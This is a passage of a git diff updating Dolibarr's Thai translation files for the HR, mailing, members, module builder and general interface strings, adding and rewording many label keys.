+ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/th_TH/hrm.lang b/htdocs/langs/th_TH/hrm.lang index 7a9ae778662..2450224f349 100644 --- a/htdocs/langs/th_TH/hrm.lang +++ b/htdocs/langs/th_TH/hrm.lang @@ -12,7 +12,7 @@ OpenEtablishment=Open establishment CloseEtablishment=Close establishment # Dictionary DictionaryPublicHolidays=Leave - Public holidays -DictionaryDepartment=HRM - Department list +DictionaryDepartment=HRM - Organizational Unit DictionaryFunction=HRM - Job positions # Module Employees=Employees @@ -20,13 +20,14 @@ Employee=ลูกจ้าง NewEmployee=New employee ListOfEmployees=List of employees HrmSetup=HRM module setup -HRM_MAXRANK=Maximum rank for a skill +SkillsManagement=Skills management +HRM_MAXRANK=Maximum number of levels to rank a skill HRM_DEFAULT_SKILL_DESCRIPTION=Default description of ranks when skill is created deplacement=Shift DateEval=Evaluation date JobCard=Job card -Job=งาน -Jobs=Jobs +JobPosition=Job profile +JobsPosition=Job profiles NewSkill=New Skill SkillType=Skill type Skilldets=List of ranks for this skill @@ -47,9 +48,8 @@ ConfirmValidateEvaluation=Are you sure you want to validate this evaluation with EvaluationCard=Evaluation card RequiredRank=Required rank for this job EmployeeRank=Employee rank for this skill -Position=ตำแหน่ง -Positions=Positions -PositionCard=Position card +EmployeePosition=Employee position +EmployeePositions=Employee positions EmployeesInThisPosition=Employees in this position group1ToCompare=Usergroup to analyze group2ToCompare=Second usergroup for comparison @@ -70,12 +70,23 @@ RequiredSkills=Required skills for this job UserRank=User Rank SkillList=Skill list SaveRank=Save rank -knowHow=Know how -HowToBe=How to be -knowledge=Knowledge +TypeKnowHow=Know how +TypeHowToBe=How to be +TypeKnowledge=Knowledge AbandonmentComment=Abandonment comment DateLastEval=Date last evaluation NoEval=No evaluation done for this employee HowManyUserWithThisMaxNote=Number of users with this rank HighestRank=Highest rank SkillComparison=Skill comparison +ActionsOnJob=Events on this job +VacantPosition=job vacancy +VacantCheckboxHelper=Checking this option will show unfilled positions (job vacancy) +SaveAddSkill = Skill(s) added +SaveLevelSkill = Skill(s) level saved +DeleteSkill = Skill removed +SkillsExtraFields=Attributs supplémentaires (Compétences) +JobsExtraFields=Attributs supplémentaires (Emplois) +EvaluationsExtraFields=Attributs supplémentaires (Evaluations) +NeedBusinessTravels=Need business travels +NoDescription=No description diff --git a/htdocs/langs/th_TH/mailmanspip.lang b/htdocs/langs/th_TH/mailmanspip.lang index e2abddd4463..31daf4fe313 100644 --- a/htdocs/langs/th_TH/mailmanspip.lang +++ b/htdocs/langs/th_TH/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=Subscription test was executed successfully MailmanDeletionSuccess=Unsubscription test was executed successfully SynchroMailManEnabled=การปรับปรุงบุรุษไปรษณีย์จะดำเนินการ SynchroSpipEnabled=การปรับปรุงหลักสูตรนานาชาติจะดำเนินการ -DescADHERENT_MAILMAN_ADMINPW=รหัสผ่านผู้ดูแลบุรุษไปรษณีย์ +DescADHERENT_MAILMAN_ADMIN_PASSWORD=รหัสผ่านผู้ดูแลบุรุษไปรษณีย์ DescADHERENT_MAILMAN_URL=URL สำหรับการสมัครสมาชิกบุรุษไปรษณีย์ DescADHERENT_MAILMAN_UNSUB_URL=URL สำหรับ unsubscriptions บุรุษไปรษณีย์ DescADHERENT_MAILMAN_LISTS=รายการ (s) สำหรับจารึกอัตโนมัติของสมาชิกใหม่ (คั่นด้วยเครื่องหมายจุลภาค) diff --git a/htdocs/langs/th_TH/mails.lang b/htdocs/langs/th_TH/mails.lang index bcfabf63025..e19b97abf34 100644 --- a/htdocs/langs/th_TH/mails.lang +++ b/htdocs/langs/th_TH/mails.lang @@ -7,10 +7,10 @@ MailCard=บัตรการส่งอีเมล MailRecipients=ผู้รับ MailRecipient=ผู้รับ MailTitle=ลักษณะ -MailFrom=ผู้ส่ง +MailFrom=จาก MailErrorsTo=ข้อผิดพลาดที่จะ MailReply=ตอบกลับ -MailTo=รับสัญญาณ (s) +MailTo=ไปยัง MailToUsers=To user(s) MailCC=คัดลอกไป MailToCCUsers=Copy to users(s) @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Contacts by position MailingModuleDescEmailsFromFile=Emails from file MailingModuleDescEmailsFromUser=Emails input by user MailingModuleDescDolibarrUsers=Users with Emails -MailingModuleDescThirdPartiesByCategories=Third parties (by categories) +MailingModuleDescThirdPartiesByCategories=บุคคลที่สาม SendingFromWebInterfaceIsNotAllowed=Sending from web interface is not allowed. EmailCollectorFilterDesc=All filters must match to have an email being collected @@ -178,3 +178,5 @@ IsAnAnswer=Is an answer of an initial email RecordCreatedByEmailCollector=Record created by the Email Collector %s from email %s DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact DefaultStatusEmptyMandatory=Empty but mandatory +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/th_TH/main.lang b/htdocs/langs/th_TH/main.lang index ac7fce2ff2a..662a2ddbcbc 100644 --- a/htdocs/langs/th_TH/main.lang +++ b/htdocs/langs/th_TH/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=helvetica FONTSIZEFORPDF=10 SeparatorDecimal=. @@ -28,6 +34,7 @@ NoTemplateDefined=No template available for this email type AvailableVariables=Available substitution variables NoTranslation=แปลไม่มี Translation=การแปล +Translations=Translations CurrentTimeZone=เขต PHP (เซิร์ฟเวอร์) EmptySearchString=Enter non empty search criterias EnterADateCriteria=Enter a date criteria @@ -199,6 +206,7 @@ Valid=ถูกต้อง Approve=อนุมัติ Disapprove=ไม่พอใจ ReOpen=Re: เปิด +OpenVerb=เปิด Upload=Upload ToLink=ลิงค์ Select=เลือก @@ -216,7 +224,7 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=ไม่มีกลุ่มผู้ใช้ที่กำหนดไว้ Password=รหัสผ่าน -PasswordRetype=พิมพ์รหัสผ่านของคุณ +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=โปรดทราบว่าจำนวนมากของคุณสมบัติ / โมดูลถูกปิดใช้งานในการสาธิตนี้ Name=ชื่อ NameSlashCompany=Name / Company @@ -244,6 +252,7 @@ Designation=ลักษณะ DescriptionOfLine=คำอธิบายของสาย DateOfLine=Date of line DurationOfLine=Duration of line +ParentLine=Parent line ID Model=Doc template DefaultModel=Default doc template Action=เหตุการณ์ @@ -344,7 +353,7 @@ KiloBytes=กิโลไบต์ MegaBytes=เมกะไบต์ GigaBytes=กิกะไบต์ TeraBytes=เทราไบต์ -UserAuthor=Ceated by +UserAuthor=Created by UserModif=Updated by b=ข Kb=กิโลไบต์ @@ -480,6 +489,7 @@ ActionsOnContact=Events for this contact/address ActionsOnContract=Events for this contract ActionsOnMember=เหตุการณ์ที่เกิดขึ้นเกี่ยวกับสมาชิกในนี้ ActionsOnProduct=Events about this product +ActionsOnAsset=Events for this fixed asset NActionsLate=% s ปลาย ToDo=ที่จะทำ Completed=Completed @@ -517,6 +527,7 @@ or=หรือ Other=อื่น ๆ Others=คนอื่น ๆ OtherInformations=Other information +Workflow=ขั้นตอนการทำงาน Quantity=ปริมาณ Qty=จำนวน ChangedBy=เปลี่ยนแปลงได้โดย @@ -619,6 +630,7 @@ MonthVeryShort11=N MonthVeryShort12=D AttachedFiles=ไฟล์ที่แนบมาและเอกสาร JoinMainDoc=Join main document +JoinMainDocOrLastGenerated=Send the main document or the last generated one if not found DateFormatYYYYMM=YYYY-MM DateFormatYYYYMMDD=YYYY-MM-DD DateFormatYYYYMMDDHHMM=YYYY-MM-DD HH:SS @@ -709,6 +721,7 @@ FeatureDisabled=ปิดใช้งานคุณลักษณะ MoveBox=Move widget Offered=ที่นำเสนอ NotEnoughPermissions=คุณไม่ได้รับอนุญาตสำหรับการดำเนินการนี​​้ +UserNotInHierachy=This action is reserved to the supervisors of this user SessionName=ชื่อเซสชั่น Method=วิธี Receive=ได้รับ @@ -798,6 +811,7 @@ URLPhoto=URL ของภาพ / โลโก้ SetLinkToAnotherThirdParty=เชื่อมโยงไปยังบุคคลที่สามอีก LinkTo=Link to LinkToProposal=Link to proposal +LinkToExpedition= Link to expedition LinkToOrder=เชื่อมโยงการสั่งซื้อ LinkToInvoice=Link to invoice LinkToTemplateInvoice=Link to template invoice @@ -916,6 +930,7 @@ DirectDownloadInternalLink=Private download link PrivateDownloadLinkDesc=You need to be logged and you need permissions to view or download the file Download=Download DownloadDocument=Download document +DownloadSignedDocument=Download signed document ActualizeCurrency=Update currency rate Fiscalyear=ปีงบประมาณ ModuleBuilder=Module and Application Builder @@ -1041,6 +1056,7 @@ SearchIntoContracts=สัญญา SearchIntoCustomerShipments=Customer shipments SearchIntoExpenseReports=รายงานค่าใช้จ่าย SearchIntoLeaves=Leave +SearchIntoKM=Knowledge base SearchIntoTickets=Tickets SearchIntoCustomerPayments=Customer payments SearchIntoVendorPayments=Vendor payments @@ -1132,15 +1148,29 @@ EventReminder=Event Reminder UpdateForAllLines=Update for all lines OnHold=ไว้ Civility=Civility -AffectTag=Affect Tag +AffectTag=Assign Tag +AffectUser=Assign User +SetSupervisor=Set Supervisor CreateExternalUser=Create external user -ConfirmAffectTag=Bulk Tag Affect -ConfirmAffectTagQuestion=Are you sure you want to affect tags to the %s selected record(s)? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project +TasksRole=Role assigned on each task of each project +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=No tag type found for type of records +Rate=ประเมิน +SupervisorNotFound=Supervisor not found CopiedToClipboard=Copied to clipboard InformationOnLinkToContract=This amount is only the total of all the lines of the contract. No notion of time is taken into consideration. ConfirmCancel=Are you sure you want to cancel EmailMsgID=Email MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Set to enabled SetToDisabled=Set to disabled ConfirmMassEnabling=mass enabling confirmation @@ -1164,3 +1194,19 @@ NotClosedYet=Not yet closed ClearSignature=Reset signature CanceledHidden=Canceled hidden CanceledShown=Canceled shown +Terminate=Terminate +Terminated=Terminated +AddLineOnPosition=Add line on position (at the end if empty) +ConfirmAllocateCommercial=Assign sales representative confirmation +ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned +YourMessage=Your message +YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. +UrlToCheck=Url to check +Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=ผู้ใช้ภายใน +ExternalUser=ผู้ใช้ภายนอก diff --git a/htdocs/langs/th_TH/members.lang b/htdocs/langs/th_TH/members.lang index 4a37d35e480..d14212e46cd 100644 --- a/htdocs/langs/th_TH/members.lang +++ b/htdocs/langs/th_TH/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=สมาชิกอีกคนห ErrorUserPermissionAllowsToLinksToItselfOnly=ด้วยเหตุผลด้านความปลอดภัยคุณต้องได้รับสิทธิ์ในการแก้ไขผู้ใช้ทุกคนที่จะสามารถที่จะเชื่อมโยงสมาชิกให้กับผู้ใช้ที่ไม่ได้เป็นของคุณ SetLinkToUser=เชื่อมโยงไปยังผู้ใช้ Dolibarr SetLinkToThirdParty=เชื่อมโยงไปยัง Dolibarr ของบุคคลที่สาม +MemberCountersArePublic=Counters of valid members are public MembersCards=Generation of cards for members MembersList=รายชื่อสมาชิก MembersListToValid=รายชื่อสมาชิกร่าง (ที่จะถูกตรวจสอบ) @@ -34,7 +35,8 @@ DateSubscription=Date of membership DateEndSubscription=End date of membership EndSubscription=End of membership SubscriptionId=Contribution ID -WithoutSubscription=Without contribution +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Member Id MemberRef=Member Ref NewMember=สมาชิกใหม่ @@ -72,6 +74,12 @@ MemberTypeCanNotBeDeleted=Member type can not be deleted NewSubscription=ผลงานใหม่ NewSubscriptionDesc=รูปแบบนี้จะช่วยให้คุณสามารถบันทึกการสมัครสมาชิกของคุณเป็นสมาชิกใหม่ของมูลนิธิ หากคุณต้องการที่จะต่ออายุการเป็นสมาชิกของคุณ (ถ้าเป็นสมาชิกอยู่แล้ว) กรุณาติดต่อคณะกรรมการมูลนิธิแทนโดยการส่งอีเมล์% s Subscription=Contribution +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice +CanEditAmountShort=Any amount +CanEditAmountShortForValues=recommended, any amount +MembershipDuration=ระยะเวลา +GetMembershipButtonLabel=Join Subscriptions=Contributions SubscriptionLate=สาย SubscriptionNotReceived=Contribution never received @@ -136,7 +144,7 @@ CardContent=เนื้อหาของบัตรสมาชิกขอ # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=We want to let you know that your membership request was received.

      ThisIsContentOfYourMembershipWasValidated=We want to let you know that your membership was validated with the following information:

      -ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded.

      +ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded. Please find your invoice here enclosed.

      ThisIsContentOfSubscriptionReminderEmail=We want to let you know that your subscription is about to expire or has already expired (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). We hope you will renew it.

      ThisIsContentOfYourCard=This is a summary of the information we have about you. Please contact us if anything is incorrect.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Subject of the notification email received in case of auto-inscription of a guest @@ -199,8 +207,10 @@ NbOfSubscriptions=Number of contributions AmountOfSubscriptions=Amount collected from contributions TurnoverOrBudget=มูลค่าการซื้อขาย (สำหรับ บริษัท ) หรืองบประมาณ (มูลนิธิ) DefaultAmount=Default amount of contribution -CanEditAmount=Visitor can choose/edit amount of its contribution -MEMBER_NEWFORM_PAYONLINE=กระโดดขึ้นไปบนหน้าการชำระเงินออนไลน์แบบบูรณาการ +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type +AmountIsLowerToMinimumNotice=sur un dû total de %s +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=By nature MembersStatisticsByProperties=Members statistics by nature VATToUseForSubscriptions=VAT rate to use for contributionss @@ -221,3 +231,4 @@ CreateDolibarrLoginDesc=The creation of a user login for members allows them to CreateDolibarrThirdPartyDesc=A thirdparty is the legal entity that will be used on the invoice if you decide to generate invoice for each contribution. You will be able to create it later during the process of recording the contribution. MemberFirstname=Member firstname MemberLastname=Member lastname +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/th_TH/modulebuilder.lang b/htdocs/langs/th_TH/modulebuilder.lang index 61b5c939d12..f44d65b3ca0 100644 --- a/htdocs/langs/th_TH/modulebuilder.lang +++ b/htdocs/langs/th_TH/modulebuilder.lang @@ -1,14 +1,19 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= Module id ModuleBuilderDesc=This tool must be used only by experienced users or developers. It provides utilities to build or edit your own module. Documentation for alternative manual development is here. -EnterNameOfModuleDesc=Enter name of the module/application to create with no spaces. Use uppercase to separate words (For example: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Enter name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, but also API file, pages to list/add/edit/delete object and SQL files will be generated. +EnterNameOfModuleDesc=Enter the name of the module/application to create with no spaces. Use uppercase to separate words (For example: MyModule, EcommerceForShop, SyncWithMySystem...) +EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, the pages to list/add/edit/delete the object and the SQL files will be generated. +EnterNameOfDictionaryDesc=Enter the name of the dictionary to create with no spaces. Use uppercase to separate words (For example: MyDico...). The class file, but also the SQL file will be generated. ModuleBuilderDesc2=Path where modules are generated/edited (first directory for external modules defined into %s): %s ModuleBuilderDesc3=Generated/editable modules found: %s ModuleBuilderDesc4=A module is detected as 'editable' when the file %s exists in root of module directory -NewModule=New module +NewModule=โมดูลใหม่ NewObjectInModulebuilder=New object +NewDictionary=New dictionary +ModuleName=Module name ModuleKey=Module key ObjectKey=Object key +DicKey=Dictionary key ModuleInitialized=Module initialized FilesForObjectInitialized=Files for new object '%s' initialized FilesForObjectUpdated=Files for object '%s' updated (.sql files and .class.php file) @@ -45,14 +50,17 @@ PathToModulePackage=Path to zip of module/application package PathToModuleDocumentation=Path to file of module/application documentation (%s) SpaceOrSpecialCharAreNotAllowed=Spaces or special characters are not allowed. FileNotYetGenerated=File not yet generated +GenerateCode=Generate code RegenerateClassAndSql=Force update of .class and .sql files RegenerateMissingFiles=Generate missing files SpecificationFile=File of documentation LanguageFile=File for language ObjectProperties=Object Properties +Property=Propery +PropertyDesc=A property is an attribute that characterizes an object. This attribute has a code, a label and a type with several options. ConfirmDeleteProperty=Are you sure you want to delete the property %s? This will change code in PHP class but also remove column from table definition of object. NotNull=Not NULL -NotNullDesc=1=Set database to NOT NULL. -1=Allow null values and force value to NULL if empty ('' or 0). +NotNullDesc=1=Set database to NOT NULL, 0=Allow null values, -1=Allow null values by forcing value to NULL if empty ('' or 0) SearchAll=Used for 'search all' DatabaseIndex=Database index FileAlreadyExists=File %s already exists @@ -78,15 +86,16 @@ IsAMeasure=Is a measure DirScanned=Directory scanned NoTrigger=No trigger NoWidget=No widget -GoToApiExplorer=API explorer +ApiExplorer=API explorer ListOfMenusEntries=List of menu entries ListOfDictionariesEntries=List of dictionaries entries ListOfPermissionsDefined=List of defined permissions SeeExamples=See examples here -EnabledDesc=Condition to have this field active (Examples: 1 or $conf->global->MYMODULE_MYOPTION) -VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing).

      It can be an expression, for example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      ($user->rights->holiday->define_holiday ? 1 : 0) -DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      Currently, known compatibles PDF models are : eratosthene (order), espadon (ship), sponge (invoices), cyan (propal/quotation), cornas (supplier order)

      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty -DisplayOnPdf=Display on PDF +EnabledDesc=Condition to have this field active.

      Examples:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing). +ItCanBeAnExpression=It can be an expression. Example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty +DisplayOnPdf=On PDF IsAMeasureDesc=Can the value of field be cumulated to get a total into list? (Examples: 1 or 0) SearchAllDesc=Is the field used to make a search from the quick search tool? (Examples: 1 or 0) SpecDefDesc=Enter here all documentation you want to provide with your module that is not already defined by other tabs. You can use .md or better, the rich .asciidoc syntax. @@ -94,7 +103,7 @@ LanguageDefDesc=Enter in this files, all the key and the translation for each la MenusDefDesc=Define here the menus provided by your module DictionariesDefDesc=Define here the dictionaries provided by your module PermissionsDefDesc=Define here the new permissions provided by your module -MenusDefDescTooltip=The menus provided by your module/application are defined into the array $this->menus into the module descriptor file. You can edit manually this file or use the embedded editor.

      Note: Once defined (and module re-activated), menus are also visible into the menu editor available to administrator users on %s. +MenusDefDescTooltip=The menus provided by your module/application are defined into the array $this->menus into the module descriptor file. You can edit manually this file or use the embedded editor.

      Note: Once defined (and the module re-activated), the menus are also visible into the menu editor available to administrator users on %s. DictionariesDefDescTooltip=The dictionaries provided by your module/application are defined into the array $this->dictionaries into the module descriptor file. You can edit manually this file or use the embedded editor.

      Note: Once defined (and module re-activated), dictionaries are also visible into the setup area to administrator users on %s. PermissionsDefDescTooltip=The permissions provided by your module/application are defined into the array $this->rights into the module descriptor file. You can edit manually this file or use the embedded editor.

      Note: Once defined (and module re-activated), permissions are visible into the default permissions setup %s. HooksDefDesc=Define in the module_parts['hooks'] property, in the module descriptor, the context of hooks you want to manage (list of contexts can be found by a search on 'initHooks(' in core code).
      Edit the hook file to add code of your hooked functions (hookable functions can be found by a search on 'executeHooks' in core code). @@ -110,7 +119,7 @@ DropTableIfEmpty=(Destroy table if empty) TableDoesNotExists=The table %s does not exists TableDropped=Table %s deleted InitStructureFromExistingTable=Build the structure array string of an existing table -UseAboutPage=Disable the about page +UseAboutPage=Do not generate the About page UseDocFolder=Disable the documentation folder UseSpecificReadme=Use a specific ReadMe ContentOfREADMECustomized=Note: The content of the README.md file has been replaced with the specific value defined into setup of ModuleBuilder. @@ -127,21 +136,40 @@ UseSpecificEditorURL = Use a specific editor URL UseSpecificFamily = Use a specific family UseSpecificAuthor = Use a specific author UseSpecificVersion = Use a specific initial version -IncludeRefGeneration=The reference of object must be generated automatically -IncludeRefGenerationHelp=Check this if you want to include code to manage the generation automatically of the reference -IncludeDocGeneration=I want to generate some documents from the object +IncludeRefGeneration=The reference of this object must be generated automatically by custom numbering rules +IncludeRefGenerationHelp=Check this if you want to include code to manage the generation of the reference automatically using custom numbering rules +IncludeDocGeneration=I want the feature to generate some documents (PDF, ODT) from templates for this object IncludeDocGenerationHelp=If you check this, some code will be generated to add a "Generate document" box on the record. -ShowOnCombobox=Show value into combobox +ShowOnCombobox=Show value into combo boxes KeyForTooltip=Key for tooltip CSSClass=CSS for edit/create form CSSViewClass=CSS for read form CSSListClass=CSS for list NotEditable=Not editable ForeignKey=Foreign key -TypeOfFieldsHelp=Type of fields:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]] ('1' means we add a + button after the combo to create the record, 'filter' can be 'status=1 AND fk_user = __USER_ID AND entity IN (__SHARED_ENTITIES__)' for example) +ForeignKeyDesc=If the value of this field must be guaranted to exists into another table. Enter here a value matching syntax: tablename.parentfieldtocheck +TypeOfFieldsHelp=Example:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=This is the type of the field/attribute. AsciiToHtmlConverter=Ascii to HTML converter AsciiToPdfConverter=Ascii to PDF converter TableNotEmptyDropCanceled=Table not empty. Drop has been canceled. ModuleBuilderNotAllowed=The module builder is available but not allowed to your user. ImportExportProfiles=Import and export profiles -ValidateModBuilderDesc=Put 1 if this field need to be validated with $this->validateField() or 0 if validation required +ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or update. Set 0 if there is no validation required. +WarningDatabaseIsNotUpdated=Warning: The database is not updated automatically, you must destroy tables and disable-enable the module to have tables recreated +LinkToParentMenu=Parent menu (fk_xxxxmenu) +ListOfTabsEntries=List of tab entries +TabsDefDesc=Define here the tabs provided by your module +TabsDefDescTooltip=The tabs provided by your module/application are defined into the array $this->tabs into the module descriptor file. You can edit manually this file or use the embedded editor. +BadValueForType=Bad value for type %s +DefinePropertiesFromExistingTable=Define properties from an existing table +DefinePropertiesFromExistingTableDesc=If a table in the database (for the object to create) already exists, you can use it to define the properties of the object. +DefinePropertiesFromExistingTableDesc2=Keep empty if the table does not exist yet. The code generator will use different kinds of fields to build an example of table that you can edit later. +GeneratePermissions=I want to add the rights for this object +GeneratePermissionsHelp=generate default rights for this object +PermissionDeletedSuccesfuly=Permission has been successfully removed +PermissionUpdatedSuccesfuly=Permission has been successfully updated +PermissionAddedSuccesfuly=Permission has been successfully added +MenuDeletedSuccessfuly=Menu has been successfully deleted +MenuAddedSuccessfuly=Menu has been successfully added +MenuUpdatedSuccessfuly=Menu has been successfully updated diff --git a/htdocs/langs/th_TH/other.lang b/htdocs/langs/th_TH/other.lang index 9534d3da785..a2f379c446e 100644 --- a/htdocs/langs/th_TH/other.lang +++ b/htdocs/langs/th_TH/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Purchase order approved Notify_ORDER_SUPPLIER_REFUSE=Purchase order refused Notify_PROPAL_VALIDATE=ข้อเสนอของลูกค้าผ่านการตรวจสอบ Notify_PROPAL_CLOSE_SIGNED=Customer proposal closed signed +Notify_PROPAL_CLOSE_SIGNED_WEB=Customer proposal closed signed on portal page Notify_PROPAL_CLOSE_REFUSED=Customer proposal closed refused +Notify_PROPAL_CLOSE_REFUSED_WEB=Customer proposal closed refused on portal page Notify_PROPAL_SENTBYMAIL=ข้อเสนอเชิงพาณิชย์ส่งทางไปรษณีย์ Notify_WITHDRAW_TRANSMIT=ถอนการส่ง Notify_WITHDRAW_CREDIT=ถอนเครดิต @@ -181,6 +183,7 @@ SizeUnitfoot=เท้า SizeUnitpoint=จุด BugTracker=ติดตามข้อผิดพลาด SendNewPasswordDesc=This form allows you to request a new password. It will be sent to your email address.
      Change will become effective once you click on the confirmation link in the email.
      Check your inbox. +EnterNewPasswordHere=Enter your new password here BackToLoginPage=กลับไปหน้าเข้าสู่ระบบ AuthenticationDoesNotAllowSendNewPassword=โหมดการตรวจสอบเป็น% s
      ในโหมดนี้ Dolibarr ไม่สามารถรู้หรือเปลี่ยนรหัสผ่านของคุณ
      ติดต่อผู้ดูแลระบบของคุณถ้าคุณต้องการที่จะเปลี่ยนรหัสผ่านของคุณ EnableGDLibraryDesc=Install or enable GD library on your PHP installation to use this option. @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=Invoice %s has been validated. EMailTextInvoicePayed=Invoice %s has been paid. EMailTextProposalValidated=Proposal %s has been validated. EMailTextProposalClosedSigned=Proposal %s has been closed signed. +EMailTextProposalClosedSignedWeb=Proposal %s has been closed signed on portal page. +EMailTextProposalClosedRefused=Proposal %s has been closed refused. +EMailTextProposalClosedRefusedWeb=Proposal %s has been closed refuse on portal page. EMailTextOrderValidated=Order %s has been validated. EMailTextOrderApproved=Order %s has been approved. EMailTextOrderValidatedBy=Order %s has been recorded by %s. @@ -304,3 +310,30 @@ ConfirmBtnCommonContent = Are you sure you want to "%s" ? ConfirmBtnCommonTitle = Confirm your action CloseDialog = ใกล้ Autofill = Autofill + +# externalsite +ExternalSiteSetup=การติดตั้งการเชื่อมโยงไปยังเว็บไซต์ภายนอก +ExternalSiteURL=External Site URL of HTML iframe content +ExternalSiteModuleNotComplete=โมดูล ExternalSite ไม่ได้กำหนดค่าอย่างถูกต้อง +ExampleMyMenuEntry=รายการเมนู + +# ftp +FTPClientSetup=FTP or SFTP Client module setup +NewFTPClient=New FTP/SFTP connection setup +FTPArea=FTP/SFTP Area +FTPAreaDesc=This screen shows a view of an FTP et SFTP server. +SetupOfFTPClientModuleNotComplete=The setup of the FTP or SFTP client module seems to be incomplete +FTPFeatureNotSupportedByYourPHP=Your PHP does not support FTP or SFTP functions +FailedToConnectToFTPServer=Failed to connect to server (server %s, port %s) +FailedToConnectToFTPServerWithCredentials=Failed to login to server with defined login/password +FTPFailedToRemoveFile=ไม่สามารถลบไฟล์% s +FTPFailedToRemoveDir=Failed to remove directory %s: check permissions and that the directory is empty. +FTPPassiveMode=โหมด Passive +ChooseAFTPEntryIntoMenu=Choose a FTP/SFTP site from the menu... +FailedToGetFile=Failed to get files %s +ErrorFTPNodisconnect=Error to disconnect FTP/SFTP server +FileWasUpload=File %s was uploaded +FTPFailedToUploadFile=Failed to upload the file %s. +AddFolder=Create folder +FileWasCreateFolder=Folder %s has been created +FTPFailedToCreateFolder=Failed to create folder %s. diff --git a/htdocs/langs/th_TH/productbatch.lang b/htdocs/langs/th_TH/productbatch.lang index 67516596246..c826afa69f3 100644 --- 